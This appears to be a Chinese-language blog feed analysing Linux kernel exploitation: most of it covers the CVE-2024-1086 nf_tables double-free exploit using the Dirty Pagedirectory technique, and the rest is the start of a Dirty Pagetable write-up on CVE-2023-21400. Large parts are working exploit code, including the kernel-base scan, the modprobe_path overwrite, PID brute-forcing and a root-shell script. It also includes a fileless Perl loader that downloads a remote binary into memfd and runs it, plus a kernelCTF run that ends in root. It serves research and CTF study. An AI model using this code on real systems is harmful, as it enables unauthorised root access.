			memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 &&
			memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 &&
			memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 &&
			memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 &&
			memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 &&
			memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 &&
			memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 &&
			memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 &&
			memcmp(addr + 0x78, "\xff\xe0", 2) == 0)
		return 1;


	return 0;
}

扫描:我们用可能是内核基页的512页来填充PTE页(和PMD页重叠)。如果扫描的页数超过512,只需将代码放入循环中并递增PFN(物理地址)。注意,如果物理内存是8G,就需要扫512页;若物理内存是4G,则需扫256页,因为4GiB / CONFIG_PHYSICAL_START = 256

PTE设置:在设置PTE条目时,需设置pte_area[j] = (CONFIG_PHYSICAL_START * j) | 0x8000000000000867;,其中PFN - CONFIG_PHYSICAL_START * j 就是物理地址,0x8000000000000867 flag标志表示对应页的读/写权限。

脏页目录原理:之前通过Double-Free构造了 mm->pgd[0][1](PMD)==mm->pgd[0][2][0](PTE),因此mm->pgd[0][1][x](PTE)== mm->pgd[0][2][0][x](用户空间页),其中 x = 0->511。这意味着我们可以用512个用户页覆写和PMD重叠的512个PTE,这512个PTE负责另外512个用户页,也就是说我们一次可以设置512 * 512 * 0x1000 = 0x4000'0000(1G)内存。

代码实现:为了便于理解,以下使用512个PTE中的2个PTE,分别用作pmd_kernel_area(用于搜索内核基址)和pmd_data_area(用于搜索内核内存的内容)。

// privesc_flh_bypass_no_time() —— 用于搜索内核基址
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (setup dirty pagedirectory)

// 2. 查找内核物理基地址 (每次扫描512页,对应1个PTE页)
	// range = (k * j) * CONFIG_PHYSICAL_ALIGN
	for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
	{
		unsigned long long kernel_iteration_base;

		kernel_iteration_base = k * (CONFIG_PHYSICAL_ALIGN * 512);
		// 2-1. 伪造PTE页,指向待扫描的物理地址
		PRINTF_VERBOSE("[*] setting kernel physical address range to 0x%016llx - 0x%016llx\n", kernel_iteration_base, kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * 512);
		for (unsigned short j=0; j < 512; j++)
			pte_area[j] = (kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j) | 0x8000000000000867;
		// 2-2. flush TLB (在子进程中调用munmap()取消映射,会将父进程中的TLB一起刷新)
		flush_tlb(_pmd_area, 0x400000);

		// 2-3. 每次迭代扫描1个PTE页(而不是CONFIG_PHYSICAL_ALIGN),根据指纹查找内核物理基址
		for (unsigned long long j=0; j < 512; j++) 
		{
			unsigned long long phys_kernel_base;
		
			// 检查内核代码节的x64-gcc/clang签名信息
			// - "kernel base" 指的是start_64()函数或者变体的汇编码地址
			// - 不同架构、编译器的签名信息都不同(例如clang的和gcc的不同)
			// - 可从vmlinux文件获取该基址,通过检查第2个segment,通常从二进制文件的0x200000偏移开始
			//   - i.e: xxd ./vmlinux | grep '00200000:'
		// 根据签名来判断是否为内核物理基址
			phys_kernel_base = kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j;

			PRINTF_VERBOSE("[*] phys kernel addr: %016llx, val: %016llx\n", phys_kernel_base, *(unsigned long long*)(pmd_kernel_area + j * 0x1000));

			if (is_kernel_base(pmd_kernel_area + j * 0x1000) == 0)
				continue;

            // ... (rest of the exploit)
		}
	}

	printf("[!] failed to find kernel code segment... TLB flush fail?\n");
	return;
}
(2)查找modprobe_path

方法:搜索CONFIG_MODPROBE_PATH"/sbin/modprobe")并且后面填充'\x00'最多到KMOD_PATH_LEN(256)个字节。检测该地址是否正确,可通过覆写该地址并检查/proc/sys/kernel/modprobe是否变化。

如果开启了静态usermode helper保护机制,可转而搜索CONFIG_STATIC_USERMODEHELPER_PATH"/sbin/usermode-helper"),只不过无法验证搜到的地址是否正确。

// privesc_flh_bypass_no_time() —— 搜索modprobe_path的物理地址
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ...

	// range = (k * j) * CONFIG_PHYSICAL_ALIGN
	// scan 512 pages (1 PTE worth) for kernel base each iteration
	for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
	{
		unsigned long long kernel_iteration_base;

        // ... (set 512 PTE entries in 1 PTE page)

		// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
		for (unsigned long long j=0; j < 512; j++) 
		{
			unsigned long long phys_kernel_base;

            // ... (find physical kernel base address)

// 3. 查找 modprobe_path 物理基址
			// 3-1. 从内核基址开始扫描 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) 字节, 搜索modprobe path,如果没找到,则从另一个内核基址开始扫
			for (int i=0; i < 40; i++) 
			{
				void *pmd_modprobe_addr;
				unsigned long long phys_modprobe_addr;
				unsigned long long modprobe_iteration_base;

				modprobe_iteration_base = phys_kernel_base + i * 0x200000;

				PRINTF_VERBOSE("[*] setting physical address range to 0x%016llx - 0x%016llx\n", modprobe_iteration_base, modprobe_iteration_base + 0x200000);

			// 3-2. 伪造第2个PTE页,指向待扫描的物理地址
				for (unsigned short j=0; j < 512; j++)
					pte_area[512 + j] = (modprobe_iteration_base + 0x1000 * j) | 0x8000000000000867;

				flush_tlb(_pmd_area, 0x400000);
			// 3-3. 搜索modprobe_path地址,并通过覆写来验证是否为正确地址
#if CONFIG_STATIC_USERMODEHELPER
				pmd_modprobe_addr = memmem(pmd_data_area, 0x200000, CONFIG_STATIC_USERMODEHELPER_PATH, strlen(CONFIG_STATIC_USERMODEHELPER_PATH));
#else
				pmd_modprobe_addr = memmem_modprobe_path(pmd_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
#endif
				if (pmd_modprobe_addr == NULL)
					continue;

#if CONFIG_LEET
				breached_the_mainframe();
#endif

				phys_modprobe_addr = modprobe_iteration_base + (pmd_modprobe_addr - pmd_data_area);
				printf("[+] verified modprobe_path/usermodehelper_path: %016llx ('%s')...\n", phys_modprobe_addr, (char*)pmd_modprobe_addr);

                // ... (rest of the exploit)
			}
			
			printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
		}
	}

	printf("[!] failed to find kernel code segment... TLB flush fail?\n");
	return;
}

5-1-4. 覆写modprobe_path

最后的挑战:需要找到exploit真正的PID,这样就能执行/proc/<pid>/fd(该文件描述符含有提权脚本)。注意,即便使用磁盘上的文件,EXP也需要知道PID,因为如果位于mnt命名空间就需要用到/proc/<pid>/cwd。需modprobe_path覆写为"/proc/<pid>/fd/<script_fd>",也即提权脚本。本提权脚本是通过猜测PID

#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ...

	// run this script instead of /sbin/modprobe
	int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
	int status_fd = memfd_create("", 0);

	// range = (k * j) * CONFIG_PHYSICAL_ALIGN
	// scan 512 pages (1 PTE worth) for kernel base each iteration
	for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
	{
		// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
		for (unsigned long long j=0; j < 512; j++) 
		{
			// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
			for (int i=0; i < 40; i++) 
			{
				void *pmd_modprobe_addr;
				unsigned long long phys_modprobe_addr;
				unsigned long long modprobe_iteration_base;

                // ... (find modprobe_path)

				PRINTF_VERBOSE("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
// 4. 覆写modprobe_path
				printf("[*] overwriting path with PIDs in range 0->4194304...\n");
			// 4-1. 猜测当前ns的PID号,将modprobe_path修改为 "/proc/<pid>/fd/<script_fd>"
				for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
				{
					int status_cnt;
					char buf;

					// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
					// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
					// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
					MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);

					if (pid_guess % 50 == 0)
					{
						PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
						PRINTF_VERBOSE("    - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
						PRINTF_VERBOSE("    - matching modprobe_path scan var: '%s' @ %p)...\n", modprobe_path, modprobe_path);
					}
// 5. 获取root shell
                // 5-1. 构造提权脚本
					lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
					dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);

					// ... (rest of the exploit)
				}

				printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");

				return;
			}
			
			printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
		}
	}

	printf("[!] failed to find kernel code segment... TLB flush fail?\n");
	return;
}

5-1-5. 获取root shell

方法:调用modprobe_trigger_memfd()执行无效二进制文件,触发执行已被覆写的modprobe_path(指向脚本/proc/<pid>/fd/<fd>),该脚本会顺便往新分配的文件描述符写1,这样exploit就能检测到root shell成功执行。

无文件实现:参见linux无文件执行,主要用到 memfd_create() 创建文件,并调用 fexecve() 执行文件。

为了实现通用性,做到无文件且不依赖命名空间,作者在exp中将stdin 和 stdout 文件描述符劫持到root shell,本方法既适用于本地提权也能反弹shell。反弹shell的脚本如下:

#!/bin/sh
echo -n 1 > /proc/<exploit_pid>/fd/<status_fd>
/bin/sh 0</proc/<exploit_pid>/fd/0 1>/proc/<exploit_pid>/fd/1 2>&

触发modprobe_path的代码如下:

static void modprobe_trigger_memfd()
{
	int fd;
	char *argv_envp = NULL;

	fd = memfd_create("", MFD_CLOEXEC);
	write(fd, "\xff\xff\xff\xff", 4);

	fexecve(fd, &argv_envp, &argv_envp);
	
	close(fd);
}

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ...

	// run this script instead of /sbin/modprobe
	int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
	int status_fd = memfd_create("", 0);

	// range = (k * j) * CONFIG_PHYSICAL_ALIGN
	// scan 512 pages (1 PTE worth) for kernel base each iteration
	for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
	{
		// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
		for (unsigned long long j=0; j < 512; j++) 
		{
			// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
			for (int i=0; i < 40; i++) 
			{
				for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++)
				{
					int status_cnt;
					char buf;

                    // ... (overwrite modprobe_path)

				// 5-2. 触发执行modprobe_path,如果PID错误,则什么也不发生
					modprobe_trigger_memfd();

				// 5-3. 如果PID正确,且提权脚本成功执行,就会顺便往status_fd文件中写1
					status_cnt = read(status_fd, &buf, 1);
					if (status_cnt == 0)
						continue;

					printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);

					return;
				}

				printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");

				return;
			}
			
			printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
		}
	}

	printf("[!] failed to find kernel code segment... TLB flush fail?\n");
	return;
}

5-1-6. 利用后的稳定性

问题及处理:内存漏洞利用过程中,页表页是不稳定的因素,如果利用进程停止,可能导致崩溃。解决办法是创建子进程完成利用,父进程直接退出。此外,为子进程注册信号处理程序,用于处理SIGINT键盘中断,但这会导致子进程在后台休眠,父进程不受影响(因为处理程序是在子进程中设置的)。

注意,不能使用wait(),因为子进程会继续在后台运行。

// 设置子进程并等待漏洞利用完成
int main()
{
	int *exploit_status;

	exploit_status = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	*exploit_status = EXPLOIT_STAT_RUNNING;

	// detaches program and makes it sleep in background when succeeding or failing
	// - prevents kernel system instability when trying to free resources
	if (fork() == 0)
	{
		int shell_stdin_fd;
		int shell_stdout_fd;

		signal(SIGINT, signal_handler_sleep);

		// open copies of stdout etc which will not be redirected when stdout is redirected, but will be printed to user
		shell_stdin_fd = dup(STDIN_FILENO);
		shell_stdout_fd = dup(STDOUT_FILENO);

#if CONFIG_REDIRECT_LOG
		setup_log("exp.log");
#endif

		setup_env();
 
		privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);

		*exploit_status = EXPLOIT_STAT_FINISHED;

		// prevent crashes due to invalid pagetables
		sleep(9999);
	}

	// prevent premature exits
	SPINLOCK(*exploit_status == EXPLOIT_STAT_RUNNING);

	return 0;
}

5-1-7. 运行测试

对于 KernelCTF环境,运行命令为cd /tmp && curl https://secret.pwning.tech/<gid> -o ./exploit && chmod +x ./exploit && ./exploit。还可以使用Perl无文件的执行该exploit。

user@lts-6:/$ id
uid=1000(user) gid=1000(user) groups=1000(user)

user@lts-6:/$ curl https://cno.pwning.tech/aaaabbbb-cccc-dddd-eeee-ffffgggghhhh -o /tmp/exploit && cd /tmp && chmod +x exploit && ./exploit
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  161k  100  161k    0     0   823k      0 --:--:-- --:--:-- --:--:--  823k

[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[   13.592791] ------------[ cut here ]------------
[   13.594923] WARNING: CPU: 0 PID: 229 at mm/slab_common.c:985 free_large_kmalloc+0x3c/0x60
...
[   13.746361] ---[ end trace 0000000000000000 ]---
[   13.748375] object pointer: 0x000000003d8afe8c
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible physical kernel base: 0000000014000000
[+] verified modprobe_path/usermodehelper_path: 0000000016877600 ('/sanitycheck')...
[*] overwriting path with PIDs in range 0->4194304...
[   14.409252] process 'exploit' launched '/dev/fd/13' with NULL argv: empty string added
/bin/sh: 0: can't access tty; job control turned off
root@lts-6:/# id
uid=0(root) gid=0(root) groups=0(root)

root@lts-6:/# cat /flag
kernelCTF{v1:mitigation-v3-6.1.55:1705665799:...}

root@lts-6:/# 

succeed

注意,在KernelCTF环境中,可通过内核warning来获得PID,但是为了通用性,作者选择暴破PID。

如果目标系统安装了Perl,且目标文件系统是只读的,可以无文件执行exp。将 modprobe_path 设置为/proc/<exploit_pid>/fd/<target_script>。以下脚本可以在不写入磁盘的情况下完成利用。

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  open(my $fh, ">&=".$fd);
  print $fh `curl https://example.com/exploit -s`;
  exec {"/proc/$$/fd/$fd"} "memfd";
'

5-2. 编译EXP

EXP需修改的地方

  • v6.3.13内核默认勾选了CONFIG_STATIC_USERMODEHELPER配置,所以EXP中需将CONFIG_STATIC_USERMODEHELPER设置为1;

  • 如果为8G内存,只需伪造1个PTE页;超过8G,需要伪造两个PTE页(本文exp已实现)。参见4-8节;

  • 不同的内核,指纹信息不同,需采用get-sig脚本收集内核指纹信息,修改is_kernel_base()函数。

    # 可从vmlinux文件获取该基址,通过检查第2个segment,通常从二进制文件的0x200000偏移开始,查看特征字符是否和EXP中memcmp比较的相同。
    $ xxd ./vmlinux | grep '00200000:'
    00200000: fc0f 0115 e082 4203 b810 0000 008e d88e  ......B.........
    
(1)依赖

依赖库:主要依赖libnftnl-devlibmnl-dev,可以简化exp构造过程。Libmnl 解析并构造netlink头,libnftnl负责构造netfilter用到的对象(例如chain和table),并序列化为libmnl用到的netlink消息。

EXP中还为musl-gcc编译的库添加了一个 .a(ar archive)文件,该文件本质上是编译器可以理解的目标文件(.zip),这样musl-gcc就能将库静态链接。作者还需要下载一个单独的libmnl-dev版本,下面已列出。

(2)Makefile

为了实现静态编译(kernelCTF上可用),使用以下makefile:

SRC_FILES := src/main.c src/env.c src/net.c src/nftnl.c src/file.c
OUT_NAME = ./exploit

# use musl-gcc since statically linking glibc with gcc generated invalid opcodes for qemu
#   and dynamically linking raised glibc ABI versioning errors
CC = musl-gcc

# use custom headers with fixed versions in a musl-gcc compatible manner
# - ./include/libmnl: libmnl v1.0.5
# - ./include/libnftnl: libnftnl v1.2.6
# - ./include/linux-lts-6.1.72: linux v6.1.72
CFLAGS = -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations

# use custom object archives compiled with musl-gcc for compatibility. normal ones 
#   are used with gcc and have _chk funcs which musl doesn't support
# the versions are the same as the headers above
LIBMNL_PATH = ./lib/libmnl.a
LIBNFTNL_PATH = ./lib/libnftnl.a

exploit: _compile_static _strip_bin
clean:
	rm $(OUT_NAME)


_compile_static:
	$(CC) $(CFLAGS) $(SRC_FILES) -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH)
_strip_bin:
	strip $(OUT_NAME)
(3)静态编译错误记录

问题1:找不到Libmnl库

使用apt和gcc编译时遇到问题,Debian稳定版中的libmnl-dev含有一个无效的 .a 文件,尝试静态编译时报错如下:

/usr/bin/ld: cannot find -lmnl: No such file or directory 
collect2: error: ld returned 1 exit status 
make: *** [Makefile:17: _compile_static] Error 1

解决:需安装不稳定版的libmnl,命令为sudo apt install libmnl-dev/sid*/sid表示从Debian不稳定目录中安装该包。否则,需要gcc自行编译libmnl库,并自行创建 .a 文件。

问题2:错误的操作码——AVX指令

使用gcc和glibc静态编译EXP时,遇到不支持的AVX(512)指令。QEMU不支持AVX512 扩展指令,所以有50%的可能会触发CPU trap。

[   15.211423] traps: exploit[167] trap invalid opcode ip:433db9 sp:7ffcb0682ee8 error:0 in exploit[401000+92000]

解决:删除QEMU VM中的-cpu host参数,并在该VM中编译EXP,这样就不会使用AVX512扩展指令。但是KernelCTF始终以-cpu host启动,后来知道,需要用 musl-gcc静态编译EXP,因为glibc不是为静态编译而设计的。

musl 安装:

$ sudo apt-get install musl-tools
# 源码安装 - 下载源码 https://musl.libc.org/
$ ./configure
$ make
$ make install

6. 常用命令

参考 CVE-2022-34918

liburing 安装

# 安装 liburing   生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img 试试。

# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290

ftrace调试:注意,QEMU启动时需加上 no_hash_pointers 启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p 打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p -> %lx

# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable

# ssh 连进去执行 exploit

cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt

# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ 	# 下载文件

参考

Flipping Pages: An analysis of a new Linux vulnerability in nf_tables and hardened exploitation techniques —— 通用利用方法,本方法名叫Dirty Pagedirectory。利用堆漏洞(例如Double-Free)在同一地址分配Page Upper Directory (PUD)Page Middle Directory (PMD),其VMA 应该是独立的,以避免冲突(因此不要在 PUD 区域内分配 PMD)。 然后,向PMD范围内的页写入地址,并读取PUD范围的相应页中的地址。

CVE-2024-1086-exploit

Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel —— Dirty Pagetable,利用堆漏洞(UAF/Double-Free/OOB)篡改末级页表中的PTE条目,实现任意物理地址读写。

Linux内存管理与KSMA攻击 —— Kernel-Space-Mirror-Attack,基于一次内核写漏洞,修改页表(描述符)实现物理地址的重新映射,从而实现任意内核地址读写原语。

Linux Kernel:内存管理之分页(Paging)

]]>
bsauce
Dirty Pagetable-一种新的内核漏洞利用技术2024-04-25T00:00:00+08:002024-04-25T00:00:00+08:00https://bsauce.github.io/2024/04/25/Dirty-Pagetable本文来自 Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel

总结:Dirty Pagetable —— 利用堆漏洞(UAF/Double-Free/OOB)篡改末级页表中的PTE条目,实现任意物理地址读写。本文以 CVE-2023-21400 (io_uring中io_defer_entry对象的UAF)、CVE-2022-28350(file UAF)、CVE-2020-29661(pid UAF)为例,介绍利用方法。步骤如下:

  • (1)触发UAF释放漏洞对象,并将漏洞对象所在的slab(受害者slab)还给页分配器;
  • (2)分配末级用户页表来占用受害者slab(从页分配器直接分配,1 page,有512个PTE);
  • (3)利用漏洞构造原语来修改PTE,例如Double-Free(利用victim对象,signalfd_ctx->sigmask 存在有限制的8字节写操作,还能读出来)、UAF(利用漏洞对象file,调用dup()会递增file->f_count);
  • (4)将PTE改为指向内核text/data的物理地址,patch某些系统调用(例如setresuid() / setresgid()),注意需要刷新TLB;注意,需要定位该PTE对应的用户虚拟地址(从虚拟地址读,如果不等于初始化的值,则说明PTE被篡改了,可以初始化为特定值或者对应的虚拟地址),这样才能通过写入该虚拟地址来patch内核物理地址。
  • (5)调用setresuid() / setresgid()提权。 对于file UAF和pid UAF,由于只能采用递增原语来篡改PTE(不能任意篡改PTE),且mmap()分配的内存对应的物理地址大于内核text/data的物理地址,无法随意篡改内核text/data。解决办法是使PTE指向某个用户页表,通过间接篡改用户页表,来篡改物理内存。 问题2,普通mmap()分配的物理页和页表页位于不同的物理内存,所以很难通过递增PTE使之指向另一用户页表。解决2,通过dma-buf heaps, io_uring, GPUs可以分配共享页,和用户页表位于同种内存,可以构造PTE指向共享页,利用递增原语使该PTE指向另一共享页,再通过共享页来篡改用户页表。

脏页表简介:Dirty Pagetalbe 是利用堆漏洞来操纵用户页表,实现任意物理地址读写。属于基于数据流的利用技术,可绕过CFI、KASLR、SMAP/PAN等。作者利用CVE-2023-21400漏洞在Google Pixel 7上实现了提权,并且,针对两种常见的漏洞开发了exploit:file UAF和pid UAF。

1. 脏页表原理

脏页表可用于UAF/Double-Free/OOB漏洞,本文以UAF为例来介绍如何使用Dirty Pagetable方法。

(1)步骤1. 触发UAF并将victim slab返还给页分配器

方法:将UAF漏洞对象所在的slab成为 victim slab。触发UAF释放漏洞对象,并继续释放victim slab 中所有其他对象,会将victim slab返还给页分配器。

(2)步骤2. 用用户页表占用victim slab

方法:用户页表是直接用页分配器分配的,可分配用户页表来占用victim slab,注意,使用最后一级页表。成功占用后如下图所示:

pic1_occupy_with_pagetable

注意,这里把漏洞对象称为了 victim object。

(3)构造页表条目(PTE)

方法:利用漏洞对象构造适当的原语来修改PTE。本文就是将CVE-2023-21400 Double-Free漏洞转化为篡改PTE的原语的,后面会介绍将file UAF / pid UAF转化为increment原语来伪造PTE。现在假设已经有一个写原语来篡改页表中的PTE。

(4)修改PTE来patch内核

方法:将PTE的物理地址设置为内核text/data的物理地址,就能patch内核了。为了实现提权,可以patch某些系统调用,例如setresuid() / setresgid(),这样非特权用户也能调用。可能还需要patch和SELinux相关的变量来禁用SELinux(手机中需要patch)。

(5)提权

方法:由于已经patch了setresuid() / setresgid(),可直接执行以下代码提权

if (setresuid(0, 0, 0) < 0) {
    perror("setresuid");
} else {
    if (setresgid(0, 0, 0) < 0) {
        perror("setresgid");
    } else {
        printf("[+] Spawn a root shell\n");
        system("/system/bin/sh");
    }
}

以上5个步骤展示了脏页表利用的简单过程。下节将介绍如何针对具体的漏洞,来利用脏页表来提权。

2. 利用CVE-2023-21400 Double-Free漏洞

CVE-2023-21400是io_uring中的Double-Free漏洞,影响内核5.10,作者和张晔(@VAR10CK)在Google Pixel 7利用脏页表成功提权。

2-1. 漏洞分析

io_uring中,当我们提交IOSQE_IO_DRAIN请求时,在之前提交的请求完成前,不会启动该请求。因此,推迟处理该请求,将该请求添加到io_ring_ctx->defer_list双链表中(io_defer_entry 对象):

pic2_defer_list

竞争访问1-漏洞对象取出:之前提交的请求完成以后,就会将推迟的请求(io_defer_entry对象)从defer_list中删除。由于可以并发访问defer_list,所以访问defer_list时必须加上自旋锁。但是,有一种情况是在没有completion_lock spinlock保护的情况下访问的defer_list。在io_uring中启用了IORING_SETUP_IOPOLL时,可以通过调用 io_uring_enter(IORING_ENTER_GETEVENTS)来获取事件完成情况,所触发的调用链为 io_uring_enter()->io_iopoll_check()->io_iopoll_getevents()->io_do_iopoll()->io_iopoll_complete()->io_commit_cqring()->__io_queue_deferred()

// __io_queue_deferred() —— 从`ctx->defer_list`取出延迟的请求
static void __io_queue_deferred(struct io_ring_ctx *ctx)
{
    do {
        struct io_defer_entry *de = list_first_entry(&ctx->defer_list, // 从`ctx->defer_list`获取`io_defer_entry`对象
                        struct io_defer_entry, list);
        if (req_need_defer(de->req, de->seq))
            break;
        list_del_init(&de->list);
        io_req_task_queue(de->req); 	// 对应的请求将排队等候 task_work_run()
        kfree(de);
    } while (!list_empty(&ctx->defer_list));
}

竞争访问2:以上函数访问ctx->defer_list时没有获取ctx->completion_lock锁,可能导致竞争条件漏洞。因为除了__io_queue_deferred()函数,io_cancel_defer_files()函数也可以处理ctx->defer_list

io_cancel_defer_files()函数有两条触发路径:

  • do_exit()->io_uring_files_cancel()->__io_uring_files_cancel()->io_uring_cancel_task_requests()->io_cancel_defer_files()
  • execve()->do_execve()->do_execveat_common()->bprm_execve()->io_uring_task_cancel()->__io_uring_task_cancel()->__io_uring_files_cancel()->io_uring_cancel_task_requests()->io_cancel_defer_files() —— 这种方式不需要退出当前任务,因此更加可控。可选择这种方式来触发。
static void io_cancel_defer_files(struct io_ring_ctx *ctx,
                  struct task_struct *task,
                  struct files_struct *files)
{
    struct io_defer_entry *de = NULL;
    LIST_HEAD(list);
    spin_lock_irq(&ctx->completion_lock);
    list_for_each_entry_reverse(de, &ctx->defer_list, list) {
        if (io_match_task(de->req, task, files)) {
            list_cut_position(&list, &ctx->defer_list, &de->list);
            break;
        }
    }
    spin_unlock_irq(&ctx->completion_lock);
    while (!list_empty(&list)) {
        de = list_first_entry(&list, struct io_defer_entry, list);
        list_del_init(&de->list);
        req_set_fail_links(de->req);
        io_put_req(de->req);
        io_req_complete(de->req, -ECANCELED);
        kfree(de);
    }
}

构造竞争:通过以下代码来构造竞争,同时处理ctx->defer_list

iopoll Task                                                exec Task
(cpu A)                                                     (cpu B)

A1.create a `io_ring_ctx` with
IORING_SETUP_IOPOLL enabled by io_uring_setup();

A2.生成`io_defer_entry`对象, 将其添加到`ctx->defer_list`

A3.触发 __io_queue_deferred();            <-------->        B1.触发 io_cancel_defer_files();

改进条件竞争:竞争条件一般会触发内存损坏。对于本例会复杂一点,通常,io_cancel_defer_files()只处理当前任务创建的io_ring_ctx的延迟列表defer_list。因此,exec 任务中的io_cancel_defer_files()不会处理 iopoll 任务中相同的延迟列表。有一个例外,如果我们在exec任务中向 iopoll 任务的io_ring_ctx 提交IOSQE_IO_DRAIN请求时,就可以让exec任务进程中的io_cancel_defer_files()处理该io_ring_ctx的延迟队列。新的条件竞争如下:

iopoll Task                                            exec Task
(cpu A)                                                (cpu B)

A1.通过io_uring_setup()创建一个`io_ring_ctx`;

A2.生成`io_defer_entry`对象, 将其添加到`ctx->defer_list`
                                                       B1.向`io_ring_ctx`提交`IOSQE_IO_DRAIN`请求
                                                        (这会生成另一个`io_defer_entry`,并添加到
                                                         `ctx->defer_list`)


A3.触发 __io_queue_deferred();       <-------->        B2.触发 io_cancel_defer_files();

在这种情况下,当exec任务和iopoll任务同时处理defer_list时,会触发内存损坏。

2-2. 触发漏洞

